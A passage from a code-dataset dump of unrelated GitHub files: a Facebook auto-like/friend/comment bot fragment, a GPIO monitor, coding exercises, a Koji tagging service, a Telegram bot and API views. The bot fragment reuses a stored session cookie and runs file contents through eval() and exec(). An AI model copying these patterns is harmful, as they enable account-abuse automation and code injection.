cek_login(c=True, kuki=kuki):\n\t\t\techo(\"\\n[+] Continue Process\")\n\t\t\treturn kuki\n\t\t\tbreak\n\t\t\ndef cek_kuki():\n\tif not cek_login():\n\t\texit(\"%s[%s!%s] Kuki Expired\" % (W,R,W))\n\t\t\ndef cek_login(c=False, kuki=\"\"):\n\ttry:\n\t\tif not c:\n\t\t\tkuki = eval(open('kuki.txt').read())['kuki']\n\t\tcek = r.get('https://mbasic.facebook.com', headers={'cookie':kuki}).text\n\t\tif \"mbasic_logout_button\" in cek:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\texcept r.exceptions.ConnectionError:\n\t\texit(\"%s[%s!%s] Signal Error\" % (W,R,W))\n\texcept:\n\t\treturn False\t\t\t\n\ndef home():\n\tos.system('clear')\n\tlogo(t=True)\n\tmenu = Menu()\n\tmenu.m1()\n\t\ntry:\n\t##### menu #####\n\texec(open('menu/like.py').read())\n\texec(open('menu/friend.py').read())\n\texec(open('menu/react.py').read())\n\texec(open('menu/komen.py').read())\n\t##### menu #####\n\timport random, time, mechanize, os, requests as r\n\tfrom bs4 import BeautifulSoup as parser\n\tfrom getpass import getpass as click\n\texec(open('module.py').read())\n\thome()\nexcept r.exceptions.ConnectionError:\n\techo(\"%s Signal Error\" % (exi))\nexcept ValueError:\n\tprint()\n\techo(\"%s Wrong Input / Process Force Stopped\" % (exi))\n\tenter()\nexcept KeyboardInterrupt:\n\techo(\"%s[%s!%s] Exit: Ok\" % (W,R,W))\nexcept ImportError as e:\n\techo(\"[!] \" + str(e))\nexcept Exception as e:\n\techo(\"[!] \" + str(e))","repo_name":"Putra263/TAFA","sub_path":"TAFA.py","file_name":"TAFA.py","file_ext":"py","file_size_in_byte":8105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12125293416","text":"#!/usr/bin/python\r\nimport time\r\nimport RPi.GPIO as gpio\r\n\r\n\r\ndef get_arguments(): # Returns a dictionary of arguments, results can be None if required=False.\r\n import argparse\r\n parser = argparse.ArgumentParser(description='Monitor the echo pin for changes in output and the precise time any'\r\n 'changes happen.')\r\n parser.add_argument('-e', '--echo', help='Number of the GPIO pin used for the echo output.', required=True)\r\n args = vars(parser.parse_args())\r\n return args\r\n\r\n\r\ndef main():\r\n args = get_arguments()\r\n echo_pin = int(args['echo'])\r\n\r\n gpio.setwarnings(False)\r\n gpio.setmode(gpio.BCM)\r\n gpio.setup(echo_pin, gpio.IN)\r\n curr_status = gpio.input(echo_pin)\r\n state_time = time.time()\r\n print(\"{0} - {1}\".format(time.strftime('%l:%M%p %Ss %f us'), curr_status))\r\n while True:\r\n new_status = gpio.input(echo_pin)\r\n print(new_status)\r\n time.sleep(0.5)\r\n if new_status != curr_status:\r\n print(\"{0} : {1} (Time since last: {2})\".format(time.strftime('%l:%M%p %Ss %fus'), curr_status,\r\n time.time() - state_time))\r\n state_time = time.time()\r\n\r\nmain()\r\n","repo_name":"PhilipKolar/HCSR04-py","sub_path":"echo-monitor.py","file_name":"echo-monitor.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"872601174","text":"class Locke():\n \"\"\"\n Write a context manager class Locke to simulate the overall functioning of the system.\n When the locke is entered it stops the pumps, opens the doors, closes the doors, and\n restarts the pumps. Likewise when the locke is exited it runs through the same steps:\n it stops the pumps, opens the doors, closes the doors, and restarts the pumps.During\n initialization the context manager class accepts the locke’s capacity in number of boats.\n Raise error if someone tries to move too many boats through the locke. Print what is\n happening with the doors and pumps.\n\n Too many boats through a small locke will raise an exception\n with small_locke as locke:\n locke.move_boats_through(boats)\n\n A Locke with sufficient capacity can move boats without incident.\n \"Stopping the pumps.\"\n \"Opening the doors.\"\n \"Closing the doors.\"\n \"Restarting the pumps.\"\n \"\"\"\n\n\n def __init__(self, locke_size):\n print('This Locke can handle {} boats.'.format(locke_size))\n self.size = locke_size\n\n def __enter__(self):\n print('Entering the Locke.\\n'\n 'Stop the pumps.\\n'\n 'Opening the doors.\\n'\n 'Closing the doors.\\n'\n 'Restarting the pumps.')\n return self\n\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n #print('__exit__({}, {}, {})'.format(exc_type, exc_val, exc_tb))\n if exc_type is ValueError:\n print('Too many boats in Locke. Locke will not operate.')\n return self\n else:\n print('Exiting the Locke.\\n'\n 'Stop the pump.\\n'\n 'Opening the doors.\\n'\n 'Closing the doors.\\n'\n 'Restarting the pumps.')\n return True\n\n def move_boats_through(self, num_boats):\n if num_boats > self.size:\n raise ValueError()\n\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_Course2_2018","sub_path":"students/srepking/lesson03/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"43758816647","text":"from collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\n\nfrom rich import print\n\n\n@dataclass\nclass Cave:\n name: str\n connections: list['Cave'] = field(default_factory=list)\n\n @property\n def is_big(self) -> bool:\n return self.name.isupper()\n\n @property\n def max_visits(self) -> int:\n return 2 if self.name != 'start' and self.name != 'end' else 1\n\n def __repr__(self) -> str:\n return f'Cave({self.name} -> {[cave.name for cave in self.connections]})'\n\n\n@dataclass\nclass Connection:\n first: str\n second: str\n\n def __repr__(self) -> str:\n return f'{self.first}-{self.second}'\n\n\ndef load_input(filename: str) -> list[Connection]:\n lines = Path(filename).read_text().splitlines()\n connections = [line.split('-') for line in lines]\n return [Connection(first, second) for first, second in connections]\n\n\nclass Solver:\n\n def __init__(self, connections: list[Connection]) -> None:\n self.connections = connections\n self.caves = self.load_caves()\n\n def load_caves(self) -> dict[str, Cave]:\n caves = {}\n for connection in self.connections:\n first = caves.get(connection.first) or Cave(connection.first)\n caves[connection.first] = first\n\n second = caves.get(connection.second) or Cave(connection.second)\n caves[connection.second] = second\n\n first.connections.append(second)\n second.connections.append(first)\n\n return caves\n\n def solve(self) -> int:\n print(self.caves)\n count = 0\n for _, found, path in self.traverse(self.caves['start']):\n if not found:\n continue\n\n # print(found, path)\n\n count += 1\n\n return count\n\n def traverse(\n self,\n cave: Cave,\n source: Cave = None,\n visited_nodes: dict[str, int] = None,\n visited_path: set[tuple[str, str]] = None,\n path: list[str] = None,\n twice_visits_allowed: bool = True,\n ) -> Cave:\n visited_nodes = visited_nodes or defaultdict(int)\n visited_path = visited_path or set()\n path = path or []\n\n if cave.name == 'end':\n path.append(cave.name)\n yield cave, True, ','.join(path)\n return\n\n visits = visited_nodes[cave.name]\n\n max_visits = cave.max_visits if twice_visits_allowed else 1\n if not cave.is_big and visits >= max_visits:\n yield cave, False, ','.join(path)\n return\n\n if visits == 1 and not cave.is_big and cave.name != 'start' and twice_visits_allowed:\n twice_visits_allowed = False\n\n visited_nodes = visited_nodes.copy()\n visited_nodes[cave.name] += 1\n\n path = path.copy()\n path.append(cave.name)\n\n yield cave, False, ','.join(path)\n\n for connected in cave.connections:\n yield from self.traverse(connected, cave, visited_nodes, visited_path, path, twice_visits_allowed)\n\n\ndef main():\n connections = load_input('data/day12/input.txt')\n print(connections)\n solver = Solver(connections)\n print(solver.solve())\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vppuzakov/aoc","sub_path":"adventofcode/day12/second.py","file_name":"second.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41906062831","text":"import koji\nimport logging\nimport re\nimport requests\nimport yaml\n\nfrom message_tagging_service import messaging\nfrom message_tagging_service import conf\nfrom message_tagging_service.utils import retrieve_modulemd_content\n\nlogger = logging.getLogger(__name__)\n\n\nclass RuleMatch(object):\n \"\"\"Result of :meth:`RuleDef.match`\n\n A rule match object can be evaluated as truth or false. Hence, it is doable\n like this::\n\n match = RuleDef.match(...)\n if match: ...\n if not match: ...\n\n :param bool matched: indicate if rule definition is matched.\n :param str dest_tag: the formatted destination tag from rule definition\n item ``destination``.\n \"\"\"\n\n def __init__(self, matched, dest_tag=None):\n self.matched = matched\n self.dest_tag = dest_tag\n\n def __bool__(self):\n return self.matched\n\n\nclass RuleDef(object):\n \"\"\"Represent a rule definition\n\n Refer to https://pagure.io/modularity/blob/master/f/drafts/module-tagging-service/format.md\n \"\"\"\n\n def __init__(self, data):\n for name in ['id', 'type', 'destinations']:\n if name not in data:\n raise ValueError(f'Rule definition does not have property {name}.')\n\n self.data = data\n\n self._property_matches = []\n self._regex_has_named_group = []\n\n @property\n def id(self):\n return self.data['id']\n\n @property\n def description(self):\n return self.data['description']\n\n @property\n def type(self):\n return self.data['type']\n\n @property\n def rule(self):\n \"\"\"Return property rule of definition\n\n Note that, a rule definition may or may not have match criteria in rule\n property. If no rule is defined, None will be returned.\n \"\"\"\n # YAML allows to read a empty section like:\n # - name: xxx\n # rule:\n # destination: xxx\n # In this case, parsed YAML dict has key/value: {'rule': None}\n return self.data.get('rule')\n\n @property\n def destinations(self):\n return self.data['destinations']\n\n def find_diff_value(self, regex, mmd_property_value):\n \"\"\"Match a property value with expected regular expression\n\n :param str regex: the regular expression to try to match property value.\n :param mmd_property_value: property value to match. It could be a single\n value, or a list of values for example the dependencies like\n ``{'dependencies': {'buildrequires': {'platform': ['f28']}}}``.\n :type mmd_property_value: list or str\n :return: True if given regular expression matches the single value, or\n match one of the list of values. If not match anything, False is\n returned.\n :rtype: bool\n \"\"\"\n if isinstance(mmd_property_value, list):\n check_values = mmd_property_value\n else:\n check_values = [mmd_property_value]\n for value in check_values:\n match = re.search(regex, value)\n if match:\n if match.groupdict():\n self._regex_has_named_group.append((regex, value))\n return True\n return False\n\n def find_diff_list(self, match_candidates, mmd_property_value):\n \"\"\"Find out if module property value matches one of values defined in rule\n\n :param match_candidates: list of regular expressions in rule definition\n to check if one of them could match the corresponding property\n value in modulemd.\n :type match_candidates: list[str]\n :param str mmd_property_value: modulemd's property value to check.\n :return: True if match, otherwise False.\n :rtype: bool\n \"\"\"\n logger.debug('Checking %s against regular expressions %r',\n mmd_property_value, match_candidates)\n for regex in match_candidates:\n if self.find_diff_value(regex, mmd_property_value):\n return True\n return False\n\n def find_diff_dict(self, rule_dict, check_dict):\n \"\"\"Check if rule matches modulemd values recursively for dict type\n\n Modulemd dependencies is a dict, which could be::\n\n {\n 'dependencies': {\n 'buildrequires': {'platform': ['f29']},\n 'requires': {'platform': ['f29']}\n }\n }\n\n When rule definition has a rule like::\n\n {'dependencies': {'requires': {'platform': r'f\\d+'}}}\n\n this function has to check if rule matches the module's runtime\n requirement platform f29.\n\n :param dict rule_dict:\n :param dict check_dict:\n :return: True if match, otherwise False.\n :rtype: bool\n \"\"\" # noqa\n match = True\n for key, value in rule_dict.items():\n new_check_dict = check_dict.get(key)\n if new_check_dict is None:\n logger.debug(\"'%s' is not found in module\", key)\n return False\n if isinstance(value, dict):\n match = self.find_diff_dict(value, new_check_dict)\n elif isinstance(value, list):\n match = self.find_diff_list(value, new_check_dict)\n else:\n match = self.find_diff_value(value, new_check_dict)\n if not match:\n # As long as one of rule criteria does not match module\n # property, the whole dict rule match fails.\n break\n return match\n\n def match(self, modulemd):\n \"\"\"Check if a rule definition matches a module\n\n The match implementation follows\n https://pagure.io/modularity/blob/master/f/drafts/module-tagging-service/format.md\n\n :param dict modulemd: a mapping parsed from modulemd YAML file.\n :return: a RuleMatch object to indicate whether modulemd matches the rule.\n :rtype: :class:`RuleMatch`\n \"\"\"\n if self.rule is None:\n logger.debug(\n 'No rule criteria is defined. Build will be tagged to %s',\n self.destinations)\n return RuleMatch(True, self.destinations)\n\n for property, expected in self.rule.items():\n # Both scratch and development have default value to compare with\n # expected in rule definition.\n\n if property == 'scratch':\n mmd_value = modulemd['data'].get(\"scratch\", False)\n if expected == mmd_value:\n logger.debug('Rule/Value: %s: %s. Matched.', property, expected)\n self._property_matches.append(True)\n else:\n logger.debug('Rule/Value: %s: %s. Not Matched. Real value: %s',\n property, expected, mmd_value)\n self._property_matches.append(False)\n\n elif property == 'development':\n mmd_value = modulemd[\"data\"].get(\"development\", False)\n if expected == mmd_value:\n logger.debug('Rule/Value: %s: %s. Matched.', property, expected)\n self._property_matches.append(True)\n else:\n logger.debug('Rule/Value: %s: %s. Not Matched. Real value: %s',\n property, expected, mmd_value)\n self._property_matches.append(False)\n\n else:\n # Now check rules that have regex\n value_to_check = modulemd[\"data\"].get(property)\n if value_to_check is None:\n logger.debug('%s is not match. Modulemd does not have %s', property, property)\n self._property_matches.append(False)\n\n elif isinstance(expected, dict):\n if self.find_diff_dict(expected, value_to_check[0]):\n logger.debug('Rule/Value: %s: %r. Matched.', property, expected)\n self._property_matches.append(True)\n else:\n logger.debug('Rule/Value: %s: %r. Not Matched. Real value: %r',\n property, expected, value_to_check[0])\n self._property_matches.append(False)\n\n elif isinstance(expected, list):\n if self.find_diff_list(expected, value_to_check):\n logger.debug('Rule/Value: %s: %r. Matched.', property, expected)\n self._property_matches.append(True)\n else:\n logger.debug('Rule/Value: %s: %r. Not Matched. Real value: %s',\n property, expected, value_to_check)\n self._property_matches.append(False)\n\n else:\n if self.find_diff_value(expected, str(value_to_check)):\n logger.debug('Rule/Value: %s: %r. Matched.', property, expected)\n self._property_matches.append(True)\n else:\n logger.debug('Rule/Value: %s: %r. Not Matched.', property, expected)\n self._property_matches.append(False)\n\n if all(self._property_matches):\n if self._regex_has_named_group:\n formatted_dest_tags = [\n re.sub(regex, self.destinations, mmd_property_value)\n for regex, mmd_property_value in self._regex_has_named_group\n ]\n return RuleMatch(True, formatted_dest_tags[-1])\n else:\n return RuleMatch(True, self.destinations)\n else:\n return RuleMatch(False)\n\n\ndef tag_build(nvr, dest_tags):\n \"\"\"Tag build with specific tags\n\n Calling Koji API to tag build might fail, however successful tagged tag will\n be returned and to log the failed tag operation.\n\n :param str nvr: build NVR.\n :param dest_tags: tag names.\n :type dest_tags: list[str]\n :return: tag names which are tagged to build successfully.\n :rtype: list[str]\n \"\"\"\n tagged_tags = []\n koji_config = koji.read_config(conf.koji_profile)\n koji_session = koji.ClientSession(koji_config['server'])\n koji_session.krb_login()\n for tag in dest_tags:\n try:\n if conf.dry_run:\n logger.info(\"DRY-RUN: koji_session.tagBuild('%s', '%s')\", tag, nvr)\n else:\n koji_session.tagBuild(tag, nvr)\n except Exception:\n logger.exception('Failed to tag %s to build %s', tag, nvr)\n else:\n tagged_tags.append(tag)\n koji_session.logout()\n return tagged_tags\n\n\ndef handle(rule_defs, event_msg):\n this_name = event_msg[\"name\"]\n this_stream = event_msg[\"stream\"]\n this_version = event_msg[\"version\"]\n this_context = event_msg[\"context\"]\n nsvc = f\"{this_name}-{this_stream}-{this_version}-{this_context}\"\n\n try:\n modulemd = yaml.safe_load(retrieve_modulemd_content(event_msg['id']))\n except requests.exceptions.HTTPError as e:\n logger.exception(f'Failed to retrieve modulemd for {nsvc}: {str(e)}')\n\n # Continue to wait for and handle next module build which moves\n # to ready state.\n return\n\n logger.debug('Modulemd file is downloaded and parsed.')\n\n rule_matches = []\n for i, rule_def in enumerate(rule_defs, 1):\n rd = RuleDef(rule_def)\n logger.info('[%s] Checking rule definition: %s', i, rd.id)\n match = rd.match(modulemd)\n if match:\n rule_matches.append(match)\n logger.info('[%d] Rule definition: Matched.', i)\n else:\n logger.info('[%d] Rule definition: Not Matched.', i)\n\n if not rule_matches:\n logger.info('Module build %s does not match any rule.', nsvc)\n return\n\n stream = this_stream.replace('-', '_')\n nvr = f'{this_name}-{stream}-{this_version}.{this_context}'\n dest_tags = [item.dest_tag for item in rule_matches]\n logger.info('Tag build %s with tag(s) %s', nvr, ', '.join(dest_tags))\n\n tagged_tags = tag_build(nvr, dest_tags)\n\n if not tagged_tags:\n logger.warning(\n 'None of tag(s) %r is tagged to build %s. Skip to send message.',\n dest_tags, nvr)\n return\n\n messaging.publish('build.tagged', {\n 'build': {\n 'id': event_msg['id'],\n 'name': this_name,\n 'stream': this_stream,\n 'version': this_version,\n 'context': this_context,\n },\n 'nvr': nvr,\n 'destination_tags': tagged_tags,\n })\n","repo_name":"mvalik/message-tagging-service","sub_path":"message_tagging_service/tagging_service.py","file_name":"tagging_service.py","file_ext":"py","file_size_in_byte":12569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"40419173498","text":"class Solution:\n '''\n There are two sorted arrays nums1 and nums2 of size m and n respectively.\n\n Find the median of the two sorted arrays. The overall run time complexity should be O(log (m+n)).\n\n You may assume nums1 and nums2 cannot be both empty.\n '''\n\n def findMedianSortedArrays(self, nums1: List[int], nums2: List[int]) -> float:\n \n a = 0 \n b = 0 \n arr = []\n \n # compare each element in nums1 and nums2 to merge sorted lists \n while a != len(nums1) and b != len(nums2):\n if nums1[a] <= nums2[b]:\n arr.append(nums1[a])\n a+=1\n else: \n arr.append(nums2[b])\n b+=1\n \n # in the case of uneven arrays add last subset of array after comparisons \n if a != len(nums1):\n arr = arr + nums1[a:]\n if b != len(nums2):\n arr = arr + nums2[b:]\n \n # grab median, if odd, take half + 1 \n if len(arr) % 2 == 1:\n return float(arr[len(arr)//2])\n else:\n return (arr[len(arr)//2]+arr[len(arr)//2-1])/2\n","repo_name":"bkhuong/LeetCode-Python","sub_path":"median_of_two_sorted_arrays.py","file_name":"median_of_two_sorted_arrays.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12620355721","text":"from base_console import BaseConsole\nfrom rest_util import api_error, api_call\n\n\nclass APIKeyConsole(BaseConsole):\n def __init__(self, prompt):\n BaseConsole.__init__(self)\n self.prompt = prompt + \" APIKey> \"\n self.baseurl = \"%soauth_app\" % BaseConsole.url\n\n @api_error\n def do_list(self, args):\n url = self.baseurl\n if args:\n url = \"%s/%s\" % (url, args)\n print(api_call(url))\n\n def help_list(self):\n snps = \"Print details of one or all disks in the appliance\"\n args = (\"\",)\n params = {\n \"\": (\"(optional)Print details of the given disk only\"),\n }\n examples = {\n \"Print details of all disks in the system\": \"\",\n \"Print details of the disk named sdd\": \"sdd\",\n }\n self.print_help(snps, \"list\", args, params, examples)\n\n @api_error\n def do_add(self, args):\n arg_fields = args.split()\n input_data = {\n \"name\": arg_fields[0],\n \"username\": arg_fields[1],\n }\n print(api_call(self.baseurl, data=input_data, calltype=\"post\"))\n\n @api_error\n def do_delete(self, args):\n print(api_call(self.baseurl, data={\"name\": args,}, calltype=\"delete\"))\n","repo_name":"rockstor/rockstor-core","sub_path":"src/rockstor/cli/api_keys.py","file_name":"api_keys.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":520,"dataset":"github-code","pt":"11"} +{"seq_id":"28476797531","text":"import logging\nimport hashlib\nfrom aiogram import types\nfrom aiogram.types import InlineQuery, InputTextMessageContent, InlineQueryResultArticle\nfrom aiogram.utils.executor import start_webhook\nfrom config import bot, dp, WEBHOOK_URL, WEBHOOK_PATH, WEBAPP_HOST, WEBAPP_PORT,SERVER_TDT\nfrom db import database\nimport json\nimport requests\n\n\n\nasync def on_startup(dispatcher):\n await database.connect()\n await bot.set_webhook(WEBHOOK_URL, drop_pending_updates=True)\n\n\nasync def on_shutdown(dispatcher):\n await database.disconnect()\n await bot.delete_webhook()\n\n\nasync def save(user_id, text):\n await database.execute(f\"INSERT INTO messages(telegram_id, text) \"\n f\"VALUES (:telegram_id, :text)\", values={'telegram_id': user_id, 'text': text})\n\n\nasync def read(user_id):\n results = await database.fetch_all('SELECT text '\n 'FROM messages '\n 'WHERE telegram_id = :telegram_id ',\n values={'telegram_id': user_id})\n return [next(result.values()) for result in results]\n\n@dp.inline_handler()\nasync def inline_echo(inline_query: InlineQuery):\n # id affects both preview and content,\n # so it has to be unique for each result\n # (Unique identifier for this result, 1-64 Bytes)\n # you can set your unique id's\n # but for example i'll generate it based on text because I know, that\n # only text will be passed in this example\n text = inline_query.query or 'echo'\n\n items=[]\n if len(text)>3:\n answer=getModelByName(name=text)\n if answer:\n for txt,img_url in getModelByName(name=text):\n if txt:\n items.append(InlineQueryResultArticle(\n id=hashlib.md5(txt.encode()).hexdigest(),\n title=f'Result {txt!r}',\n\n # thumb_url=img_url,\n input_message_content=InputTextMessageContent(\n message_text=f\"\"\"{txt}\\n \"\"\",\n parse_mode=\"HTML\"\n )\n ,\n ))\n # don't forget to set cache_time=1 for testing (default is 300s or 5m)\n await bot.answer_inline_query(inline_query.id, results=items, cache_time=1000)\n\n\n@dp.message_handler()\nasync def echo(message: types.Message):\n await save(message.from_user.id, message.text)\n messages = getModelByName(name=message.text)\n for text,img_url in messages:\n await message.answer(\n f\"\"\"{text}\\n {img_url}\"\"\",\n )\n\n\n\ndef getModelByName(name=''):\n if len(name)>3:\n session = requests.Session()\n response = session.get(\n (f'''http://{SERVER_TDT}/api/modelgoods/search/{name}''')).json()\n if response.get('storage'):\n try:\n textarray = []\n for models in response.get('storage'):\n image_url = models.get('img_url')\n text =f\"\"\"{models.get('name')}\\n {str(models.get('count'))} {models.get('volname')} на складах\n {models.get('foldername')}\n \\n цена: {str(models.get('price'))} рублей \\n\n {image_url}\"\"\"\n textarray.append((text,image_url))\n if not text:\n print('no results')\n continue\n attachments = []\n if image_url:\n image = session.get(image_url, stream=True)\n attachments.append(image_url\n # 'photo{}_{}'.format(photo['owner_id'], photo['id'])\n )\n return textarray\n\n except Exception as e:\n print(e)\n return False\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.INFO)\n start_webhook(\n dispatcher=dp,\n webhook_path=WEBHOOK_PATH,\n skip_updates=True,\n on_startup=on_startup,\n on_shutdown=on_shutdown,\n host=WEBAPP_HOST,\n port=WEBAPP_PORT,\n )","repo_name":"mrch666/heroku-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15635095298","text":"from pathlib import Path\nimport pandas as pd\n\nfrom utils import load_params\n\n\ndef main(params):\n subset_size = params.data.process_orca_data.subset_size\n df = pd.read_parquet(Path('data')/'raw'/'1M-GPT4-Augmented.parquet')\n # Randomize the order of the questions\n df = df.sample(frac=1, random_state=params.random_seed, replace=False)\n if subset_size >= 0 and subset_size <= 1:\n df = df.iloc[:int(subset_size*len(df))]\n elif subset_size > 1:\n df = df.iloc[:subset_size]\n \n mapping = {'question': 'prompt', 'response': 'completion'}\n data_reformatted = df[['question', 'response']].rename(columns=mapping)\n (Path('data')/'processed').mkdir(parents=True, exist_ok=True)\n jsonl_file_path = Path('data')/'processed'/'orca_processed_subset.jsonl'\n data_reformatted.to_json(jsonl_file_path, orient='records', lines=True)\n\n\nif __name__ == '__main__':\n params = load_params('params.yaml')\n main(params)\n","repo_name":"alex000kim/ML-Pipeline-With-DVC-SkyPilot-HuggingFace","sub_path":"src/process_orca_data.py","file_name":"process_orca_data.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"4359026868","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport numpy as np\n\n\ndef greedy(a, b, c):\n \"\"\"欲張り法\n\n :param np.array a: 制約条件の左辺の係数\n :param int b: 制約条件の不等式の右辺\n :param np.array c: 目的関数の係数\n :return np.array: 欲張り法による近似解\n \"\"\"\n value = c / a # 利用価値\n index_sorted = np.argsort(value)[::-1] # 利用価値の降順にソートしたindex\n\n total = 0\n answer = np.zeros(a.shape[0])\n\n # 利用価値の大きい順に制約条件の値を超える手前までナップザックに入れていく\n for i in index_sorted:\n if total + a[i] > b:\n continue\n else:\n total += a[i]\n answer[i] = 1\n return answer\n\n\ndef solve_relaxation_problem(a, b, c):\n \"\"\"緩和問題を解く\n\n :param np.array a: 制約条件の左辺の係数\n :param int b: 制約条件の不等式の右辺\n :param np.array c: 目的関数の係数\n :return np.array: 緩和問題の答え\n \"\"\"\n value = c / a # 利用価値\n index_sorted = np.argsort(value)[::-1] # 利用価値の降順にソートしたindex\n\n total = 0\n answer = np.zeros(a.shape[0])\n\n # 高々1つが実数になる\n for i in index_sorted:\n if total + a[i] > b:\n answer[i] = (b - total) / a[i] # 境界ギリギリが実数になるかも\n break\n else:\n total += a[i]\n answer[i] = 1\n return answer\n\n\ndef solve_sub_problem(a_sub, b_sub, c_sub, c, answer_fix, answer_temp):\n \"\"\"部分問題を解く\n\n :param np.array a_sub: 制約条件の係数\n :param int b_sub: 制約条件の値\n :param np.array c_sub: 部分問題の係数\n :param c:\n :param answer_fix:\n :param answer_temp:\n :return np.array: 暫定解\n :return bool: 終端しているかどうか\n \"\"\"\n print(f'答えの固定部分: {answer_fix}')\n print(f'暫定解: {answer_temp}')\n print(f'暫定値: {answer_temp.dot(c)}')\n\n if b_sub < 0:\n print('実行可能解をもたないので, ここから先は探索しない')\n return answer_temp, True\n\n # 緩和問題を解く\n answer_sub_relaxation = solve_relaxation_problem(a_sub, b_sub, c_sub)\n\n # 答えの先頭部分(答えが固定されている部分)とマージ\n answer_relaxation = np.hstack([answer_fix, answer_sub_relaxation]) # 答えの固定部分と部分問題の緩和問題の解を合わせた解\n answer = np.hstack([answer_fix, answer_sub_relaxation.astype(int)]) # 今回の解\n print(f'上界値: {answer_relaxation.dot(c)}')\n\n if answer_temp.dot(c) > answer_relaxation.dot(c):\n # この部分問題の上界値が暫定値を超えないので終端\n print('暫���解を超えないので, ここから先は探索しない')\n return answer_temp, True\n else:\n if np.logical_or(answer_relaxation == 1, answer_relaxation == 0).all():\n # 0, 1条件を満たすのでこの部分問題の最適解になっている\n print('0, 1条件を満たすので原問題の解になっている')\n return answer, True\n else:\n print('終端できないので分岐')\n return answer_temp, False\n\n\ndef bb(a, b, c):\n \"\"\"ナップザック問題を分枝限定法で解く\n\n :param np.array a: 制約条件の係数\n :param int b: 制約条件の値\n :param np.array c: 目的関数の係数\n :return:\n \"\"\"\n answer_temp = greedy(a, b, c)\n\n # スタックに(aの残り, bの残り, cの残り, 答えの先頭部分)という形式で部分問題を登録する\n stack = [(a, b, c, np.array([]))]\n\n while stack:\n print('------------------------')\n a_sub, b_sub, c_sub, answer_fix = stack.pop()\n answer_temp, terminated = solve_sub_problem(a_sub, b_sub, c_sub, c, answer_fix, answer_temp)\n if not terminated:\n # 終端していないので, もう一段階分岐する\n answer_fix1 = np.hstack([answer_fix, np.array([1])])\n answer_fix2 = np.hstack([answer_fix, np.array([0])])\n stack.append((a_sub[1:], b - answer_fix1.dot(a[:answer_fix1.size]), c_sub[1:], answer_fix1))\n stack.append((a_sub[1:], b - answer_fix2.dot(a[:answer_fix2.size]), c_sub[1:], answer_fix2))\n return answer_temp\n\n\nif __name__ == '__main__':\n a = np.array([2, 3, 5, 6]) # 制約条件の係数\n b = 9 # 制約条件の値\n c = np.array([4, 5, 12, 14]) # 目的関数の係数\n\n # 分枝限定法により最適解を求める\n answer = bb(a, b, c)\n\n print('----------------------------')\n print(f'最適解: {answer}')\n print(f'最適値: {answer.dot(c)}')\n","repo_name":"tkyaaida/mp","sub_path":"mp/combination/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4770,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6433848080","text":"\"\"\"\nAPI views for advanced operations on ngrams and ngramlists\n-----------------------------------------------------------\n - retrieve several lists together (\"family\")\n - retrieve detailed list infos (ngram_id, term strings, scores...)\n - modify NodeNgram lists (PUT/DEL an ngram to a MAINLIST OR MAPLIST...)\n - modify NodeNgramNgram groups (PUT/DEL a list of groupings like {\"767[]\":[209,640],\"779[]\":[436,265,385]}\")\n\"\"\"\n\nfrom gargantext.util.http import APIView, get_parameters, JsonHttpResponse,\\\n ValidationException, Http404, HttpResponse\nfrom gargantext.util.db import session, aliased, bulk_insert\nfrom gargantext.util.db_cache import cache\nfrom sqlalchemy import tuple_\nfrom gargantext.models import Ngram, NodeNgram, NodeNodeNgram, NodeNgramNgram, Node\nfrom gargantext.util.lists import UnweightedList, Translations\nfrom gargantext.util.scheduling import scheduled\n\n# useful subroutines\nfrom gargantext.util.ngramlists_tools import query_list, export_ngramlists, \\\n import_ngramlists, merge_ngramlists, \\\n import_and_merge_ngramlists\nfrom gargantext.util.group_tools import query_grouped_ngrams\n\nclass List(APIView):\n \"\"\"\n see already available API query api/nodes/?fields[]=ngrams\n \"\"\"\n pass\n\n\nclass CSVLists(APIView):\n \"\"\"\n GET => CSV exports of all lists of a corpus\n\n POST => CSV import into existing lists as \"post\"\n PATCH => internal import into existing lists (?POSSIBILITY put it in another class ?)\n \"\"\"\n def get(self, request):\n params = get_parameters(request)\n corpus_id = int(params.pop(\"corpus\"))\n corpus_node = cache.Node[corpus_id]\n\n # response is file-like + headers\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"corpus-%i_gargantext_term_list.csv\"' % corpus_id\n\n # fill the response with the data\n export_ngramlists(corpus_node, fname=response, titles=True)\n return response\n\n\n def post(self,request):\n \"\"\"\n Merge the lists of a corpus with other lists from a CSV source\n or from another corpus\n\n params in request.GET:\n onto_corpus: the corpus whose lists are getting patched\n\n params in request.data:\n csvfile: the csv file\n\n /!\\ We assume we checked the file size client-side before upload\n \"\"\"\n if not request.user.is_authenticated():\n res = HttpResponse(\"Unauthorized\")\n res.status_code = 401\n return res\n\n # the corpus with the target lists to be patched\n params = get_parameters(request)\n corpus_id = int(params.pop(\"onto_corpus\"))\n corpus_node = 